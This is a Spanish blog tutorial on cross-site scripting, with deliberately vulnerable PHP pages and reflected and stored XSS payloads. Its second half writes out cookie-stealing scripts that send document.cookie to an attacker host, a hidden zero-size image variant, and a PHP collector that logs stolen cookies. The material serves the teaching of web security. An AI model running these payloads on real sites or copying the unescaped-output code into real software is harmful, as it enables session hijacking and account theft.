A continuación voy a tratar de dar un gran pantallazo del XSS, junto con diferentes ejemplos.
ACLARACION: el artículo está dirigido a aquellos que quieran aprender programación web segura, gente dedicada a la seguridad que utiliza el hacking ético para descubrir problemas a solucionar y reportarlos. Para hacer este tipo de ataque deben contar con la aprobación del encargado de la web o quién corresponda.
Se asume que
Este artículo asume que el lector tiene conocimientos básicos de:
- HTML (sobre todo formularios)
- métodos HTTP GET y POST
- JavaScript
- (no excluyente) manejo de sesiones
- (no excluyente) php
Tener una idea de lo anteriormente citado ayudará al lector a comprender mejor los ataques, así como poder entender los ejemplos.
Por qué XSS y no CSS?
Muchos se preguntarán, si se llama Cross-Site Scripting, por qué lo abrevian XSS en lugar de CSS?
El origen de la abreviación es algo simpático. Como muchos sabrán, la abreviación CSS se utiliza para las hojas de estilo llamadas Cascading Style Sheets. Hacer que el ataque se abrevie de la misma manera generaría confusiones, así que se decidió cambiar la C por una X, lo cual congenia perfectamente con la palabra Cross =D
Qué es el XSS?
El XSS es un ataque que se aprovecha de la falta de filtrado de datos salientes. Básicamente el ataque trata sobre inyección de código HTML en alguna variable, la cual, luego de ser procesada por el servidor web, es devuelta dentro del HTML de la página original y ejecutada por el browser de la víctima.
Como siempre, un ejemplo es mejor en este tipo de explicaciones, así que vallamos a eso.
El ejemplo más clásico y tonto (aunque presente en muchos sites), es tener una página que muestra el valor de una variable ingresada por el usuario. Supongamos tener un script php como el siguiente:
Usuario: <?php if(isset($_GET['user'])) print "<B>".$_GET['user']."</B>" ?> <FORM METHOD="GET" ACTION=""> <INPUT TYPE="TEXT" SIZE="30" NAME="user" /> <INPUT TYPE="SUBMIT" VALUE="ingresar" /> </FORM>
Por si alguno no entiende php, les aclaro que el script es simple, lo único que hace es imprimir el valor de la variable ingresada en el formulario. El resultado de ejecutar el script es el siguiente:
En el funcionamiento normal, un usuario ingresaría su nombre de usuario (en el ejemplo, ingresé demasiadovivo), lo cual nos da el siguiente estado:
Hasta acá todo bien, nada fuera de lo ordinario. Pero momento... qué sucedería si en lugar de ingresar texto ordinario ingreso código HTML??? ya se lo están imaginando? pues si, el código que ingresemos quedará incrustrado en la página... que lindo...
Supongamos que en el campo de texto ingreso el código <SCRIPT>alert('XSS');</SCRIPT>, el resultado que obtendremos es el siguiente:
Oh si, lo que sucedió es que el código JavaScript quedó incrustado en la página, y el browser hizo su trabajo, el cual es ejecutarlo. Si hechamos una mirada al código de esta página encontraremos lo siguiente:
<FORM ACTION="" METHOD="GET"> Usuario: <B><SCRIPT>alert('XSS');</SCRIPT></B><FORM METHOD="GET" ACTION=""> <INPUT TYPE="TEXT" SIZE="30" NAME="user" /> <INPUT TYPE="SUBMIT" VALUE="ingresar" /> </FORM>
Este ejemplo es bien básico e inofensivo, pero sirve perfectamente para mostrar de qué trata el XSS. En las siguientes secciones explicaré los ataques que se pueden realizar usando XSS.
Cómo se puede usar el XSS?
En el ejemplo, el que interactúa con la página es el mismo usuario que recibe el HTML modificado. En un caso de ataque real, los participantes son dos, el atacante que arma el pedido, y la víctima que lo ejecuta.
Volviendo al ejemplo anterior, como se puede ver, los parámetros del formulario se envían con el método GET, esto es, van en la URL de la página. Lo que un atacante se encargaría de hacer es armar una URL que aproveche el XSS y enviársela al usuario para que la abra. En el ejemplo, si suponemos que el nombre del site es www.ejemplo.com, el atacante podría armar la URL http://www.ejemplo.com/xss.php?user=<SCRIPT>alert('XSS')%3B<%2FSCRIPT> y convencer a un usuario para que lo abra. En este caso, el usuario ejecutaría el script que abre el alert.
Como vemos, para que este ataque tenga éxito necesitamos de un factor extra: un usuario que abra la URL armada por el atacante. A este tipo de ataque se lo llama XSS reflejado (reflected). Pero ojo, este no es el único tipo de ataque XSS.
Otra forma de XSS es el llamado persistente. En éste ataque no necesitamos que el usuario abra una dada URL, sino que usamos una fea vulnerabilidad en el site para hacer que nuestro script quede incrustado en la página "para siempre" (de ahí el nombre). Nuevamente, me remito al ejemplo para explicar.
Supongamos que tenemos un guestbook, donde gente puede dejar su comentario acerca del site. Ahora, supongamos que nuestro guestbook es tan pobre que no valida lo que el usuario ingresa y simplemente guarda todo lo que se tipea. Si un visitante coloca código HTML dentro de su comentario, éste quedará incrustado en la página. Esto es lo mismo que sucedía antes, pero peor! ahora el código queda de forma PERMANENTE en el código de la página. Si otro usuario visita el guestbook ejecutará el código dejado por nuestro visitante malicioso.
Para demostrar el ataque, veamos el siguiente código:
<B>Comentarios:</B><BR> <?php if(isset($_POST['comment'])) { $f = fopen("guestbook.txt", "a"); fwrite($f, $_POST['comment']."\n"); fclose($f); } if($f = @fopen("guestbook.txt", "r")) { while(!feof($f)) { $comment = fgets($f); print "<HR>".$comment."<BR>"; } fclose($f); } ?> <FORM METHOD="POST" ACTION=""> <TEXTAREA COLS="60" ROWS="10" NAME="comment"></TEXTAREA><BR> <INPUT TYPE="SUBMIT" VALUE="ingresar" /> </FORM>
Lo que hace el script php es usar el archivo guestbook.txt como medio para almacenar los comentarios. Si alguien deja un comentario lo almacena en ese archivo, luego lee de ese archivo todos los comentarios. Por simplicidad se asume que cada línea del archivo representa un comentario.
El guestbook con algunos comentarios podría verse de la siguiente forma:
Qué sucede si un usuario simpático nos deja el comentario "mira este XSS: <SCRIPT>alert('XSS');</SCRIPT>" (sin las comillas)?. Lo que sucederá es lo visto en la siguiente imagen:
Dado que el comentario se almacena en guestbook.txt, ahora todo el que visite la página ejecutará el script dejado por nuestro buen amigo. Si bien este tipo de aplicaciones web utilizan bases de datos en lugar de archivos de texto para almacenar los comentarios, el principio es el mismo. Esto es, si en la base de datos almacenamos todo lo que el usuario escribe y luego lo mostramos como tal, tendremos el mismo problema.
Logrando que el usuario ejecute lo que queremos
Como se pueden imaginar, el XSS persistente es mucho más riesgoso que el reflejado, dado que en el persistente el atacante no necesita que la víctima visite una URL armada especialmente, sino que basta con que la víctima visite la página afectada!
Por otro lado, hacer que una persona abra un link armado especialmente es mucho más fácil de lo que se imaginan. Para esto debemos hacer uso de nuestra amiga la ingeniería social, o bien usar un par de trucos.
El caso de la ingeniería social ya lo conocen, o se han enfrentado a el. Supongan que reciben un mail diciendo que visiten un dado link para reactivar su cuenta en www.ejemplo.com. Si ustedes tienen alguna cuenta en www.ejemplo.com, tal vez creerían que esto es cierto, sobre todo, si el link pertenece realmente al dominio www.ejemplo.com. El problema es que tal vez www.ejemplo.com tenga una falencia de XSS, y el atacante podría usar la siguiente url: www.ejemplo.com/renovarcuenta.php?user=<script>alert('xss');</script>. Ahora bien, ver que en el parámetro "user" figura el tag <script> puede resultar sospechoso para algunos, pero teniendo en cuenta las URLs kilométricas que se usan actualmente, tal vez ni vean el tag. Además existen técnicas de ofuscación como URL encoding, donde el mismo ejemplo quedaría de la siguiente forma: www.ejemplo.com%2frenovarcuenta.php%3Fuser%3D%3Cscript%3Ealert%28%27xss%27%29%3B%3C%2fscript%3E
Por supuesto que agregar un script con los tags <script> no es la única forma de realizar un ataque XSS, también es posible utilizar otros tags como IMG, DIV, IFRAME, STYLE, BODY, etc. Tal vez el más interesante de estos es el tag IMG. IMG se usa para agregar una imagen al código HTML. Cuando el browser encuentra el tag IMG, éste busca la imágen en el servidor que corresponda, según el argument SRC. Ahora, qué sucede si colocamos la siguiente etiquieta: <IMG SRC="javascript:alert('xss');"> Cuando el browser encuentre la etiqueta, éste ejecutará el código JavaScript... hermoso! Esto no se limita al tag IMG, pero es el ejemplo más común. Otra forma de utilizar este tag podrían ser: <img src="imagen.jpg" onload="javascript:alert('XSS');" /> Nuevamente, esto no se limita al tag IMG.
En muchos casos deberemos escapar algún tag para inyectar código. Por ejemplo, supongan el caso de un script que mantiene los datos ingresados por el usuario en un campo de texto. El código para hacer tal cosa sería algo como el siguiente:
<FORM ACTION="" METHOD="GET"> <INPUT TYPE="TEXT" NAME="user" VALUE="<?php echo $_GET['user'] ?>" /> <INPUT TYPE="SUBMIT" VALUE="set" /> </FORM>
En este caso, lo que escribamos dentro del campo de texto quedará dentro del valor (propiedad VALUE) del campo de texto. Así por ejemplo si colocamos el valor juan, el código quedará <input type="TEXT" name="user" value="juan"> con lo cual no hay problemas.
Pero nosotros queremos insertar código JS!, si colocamos el simple código citado anteriormente (<script>alert('XSS');</script>), el resultado será: <input type="TEXT" name="user" value="<script>alert('XSS');</script>">. Esto es, quedará todo dentro del campo de texto, lo mismo que sucede cuando ingresamos solamente la palabra juan.
Entonces??? cómo hacemos??? bueno, ingeniárnosla un poco. Qué es lo que no nos permite inyectar código? es el problema de estar encerrados en un tag. Para escapar esto, deberíamos ingresar algo como ">, luego nuestro código y a continuación escapar el resto del tag. Una forma simple de hacer esto es ingresar lo siguiente: "><SCRIPT>alert('XSS');</script><input type="HIDDEN" name="">
El resultado visto por el usuario, luego de ingresar ese código, será:
<input type="TEXT" name="user" value=""><script>alert('XSS');</script><input type="HIDDEN" name="">:
Con lo obtenido, el usuario ejecutará el alert y no verá diferencias en la página (a menos que mire el código).
En la realidad es muy probable que se encuentren con ejemplos donde hace falta escapar un tag. El problema se complica más cuando el script del lado del servidor escapea las comillas u otros valores. Nombrar todas las formas de escapar a estos problemas harían que el artículo sea interminable, además existen varias páginas dedicadas a esto, así que les dejo directamente los links. Páginas con ejemplos muy interesantes son:
http://ha.ckers.org/xss.html
http://htmlpurifier.org/live/smoketests/xssAttacks.php
http://h4k.in/xssinexcess
Poniéndonos serios
Hasta ahora nuestro ataque se basó en ejecutar un simple alert con un mensaje, pero en un ataque real, esto no nos serviría de mucho. Los objetivos más deseados son cookies y credenciales. También es posible realizar redirecciones a otras páginas, modificación de la página, keylogging usando ajax, XSS proxies (de lo cual hablaré más adelante) o incluso ejecución de código malicioso (debido a fallas en el browser).
De los posibles ataques, el que me resulta más interesante es el robo de cookies, debido a lo que implica. Las cookies alojan variables que son usadas para mantener la sesión de un usuario, esto es, el servidor recuerda quién es cada usuario. Cuando un usuario se autentica (con el clásico login-password) el servidor establece un valor random en una variable alojada en una cookie. Esa cookie luego es usada por el servidor para reconocer al usuario y no tener que pedir las credenciales continuamente. Robar una cookie implica obtener la autenticación de un usuario sin conocer las credenciales!
Ahora, cómo hacemos esto? fácil. Así como antes colocábamos un simple alert de JS en el código de la página, nada nos impide colocar la siguiente sentencia:
<script>
document.location="http://www.malomalo.com/stealer.php?cookie=" + document.cookie;
</script>
El código que acabo de copiar hace que el browser cargue una nueva página (www.malomalo.com/stealer.php) enviandole como parámetro la cookie de la página actual!, es decir, le estamos enviando al atacante dueño de evil.com la cookie de la página donde estamos logueados.
Vallamos al ejemplo phpeano. Supongamos que tenemos la siguiente página con autenticación:
<?php session_start(); ?> buscar: <FORM METHOD="GET" ACTION=""> <INPUT TYPE="TEXT" SIZE="30" NAME="search" /> <INPUT TYPE="SUBMIT" VALUE="ingresar" /> </FORM> <?php if(isset($_GET['search'])) print "resultados con la palabra <B>".$_GET['search']."</B><BR><BR>" ?> <?php if(isset($_POST['logout'])) { session_destroy(); unset($_SESSION['user']); } function printform() { echo '<FORM ACTION="" METHOD="POST"> user: <INPUT NAME="user" TYPE="TEXT" SIZE="20" /><BR> pass: <INPUT NAME="pass" TYPE="PASSWORD" SIZE="20" /><BR> <INPUT TYPE="SUBMIT" VALUE="login" /> </FORM>'; } function printhello() { print "hola usuario: ".$_SESSION['user']; print '<FORM ACTION="" METHOD="POST"><INPUT NAME="logout" TYPE="SUBMIT" VALUE="logout" /></FORM>'; } if(!isset($_SESSION['user'])) { if(isset($_POST['user']) && isset($_POST['pass'])) { if(($_POST['user'] == "demasiadovivo") && ($_POST['pass'] == "123456")) { $_SESSION['user'] = "demasiadovivo"; printhello(); } else { echo "el usuario ".$_POST['user']." no existe"; printform(); } } else printform(); } else { printhello(); } ?>
El scriptcito (para nada optimizado) tiene un buscador para ejemplificar el XSS, pero que en realidad no busca nada, y tiene un login, con la autenticación incrustada en el código (osea, el único usuario válido es demasiadovivo pass 123456). La idea es que sea simple para entender el ejemplo.
Una vez que el usuario se autentica, el script guarda el nombre de usuario en una variable de sesión $_SESSION['user']. El servidor envía de forma transparente un ID de sesión, el cual utiliza para reconocer las variables del usuario. Todo este maneje es transparente tanto para el usuario como para el programador, lo único que va en la cookie es el ID de sesión.
El objetivo del atacante en este caso será obtener la cookie con el ID de sesión y reutilizarlo para aparecer autenticado en la página sin proveer el usuario y password. Para esto, aplicando un ataque XSS, el atacante podría armar la siguiente URL y enviarsela a un usuario desprevenido:
http://www.buenobueno.com/xss-authentication.php?search=<script>document.location="http://www.malomalo.com/stealer.php?cookie="+document.cookie;</script>:
donde www.buenobueno.com es el site con la vulnerabilidad XSS y www.malomalo.com es un site del atacante que recibe la cookie.
Para obtener la cookie, el site del atacante podría tener un código como el siguiente:
<?php if($cookie = $_GET["cookie"])) { $f = fopen('cookies.txt', 'a'); fwrite($f, $cookie . "\n\n"); } ?>
De esta forma, cada vez que malomalo reciba una cookie, este la almacenará en un archivo. El código se podría mejorar añadiendo la dirección de la página de la cual robamos la cookie, así si tenemos varias páginas hackeadas, podríamos saber a cual pertenece la cookie.
Cabe aclarar que las cookies no son eternas y expiran luego de un tiempo, o dejan de ser válidas una vez que se ejecuta un session_destroy(), lo cual suele hacerse cuando el usuario aprieta el boton logout. Por ello, el atacante tendrá una ventana de tiempo limitada para utilizar la cookie, pero esto no es problema, proque al código anterior podríamos añadir que el programa envíe un mail al atacante cada vez que recibe una cookie.
Un problema con el ataque anterior es que el usuario notará la redirección, debido a que el browser ahora apunta a http://www.malomalo.com/stealer.php?cookie=lacookie. Por suerte, existen formas de evitar esto. Si queremos que el usuario siga viendo la página que estaba visitando y que la cookie se envíe de forma transparente, en lugar de insertar el código <script>document.location="http://www.malomalo.com/stealer.php?cookie="+document.cookie;</script> podríamos insertar este otro código:
<SCRIPT>document.write('<IMG WIDTH="0" HEIGHT="0" SRC="http://localhost/stealer.php?cookie='+document.cookie+'"')</SCRIPT>
Con el código anterior, el usuario no notará nada extraño a simple vista. Utilizamos el tag IMG para cargar el script del atacante con la cookie robada, y dado que la imagen es de tamaño 0, el browser no la muestra! Esto es mucho mejor que antes, dado que no necesitamos redirigir el browser a la página maligna.
Por supuesto que existen otras formas de realizar este mismo ataque, éste es sólo un ejemplo.
Y esto cómo sigue?
Debido a la cantidad de información que tengo sobre XSS y dado que es un tema que me gusta mucho y es muy importante hoy en día, decidí partir el artículo en partes. Esta primera parte fue bastante larga, pero creo que si la partía el tema no quedaba completo.
Lo que vendrá en las siguientes partes es explicar XSS avanzado (CSRF, XSS Tunneling, XSS con POST) y métodos de mitigación en distintos lenguajes de programación, pero si surge algo más, tal vez se extienda a otros artículos. Así que stay tuned!
Algunas referencias
Cross Site Scripting Techniques and mitigation
Cross Site Scripting (XSS) FAQ
HTML Code Injection and Cross Site Scripting
Cross Site Scripting wiki
Principales vulnerabilidades en aplicaciones Web - presentación Christian Martorella
Fuente: http://itfreekzone.blogspot.com/2009/12/cruzando-informacion-cross-site.html
No hay comentarios:
Publicar un comentario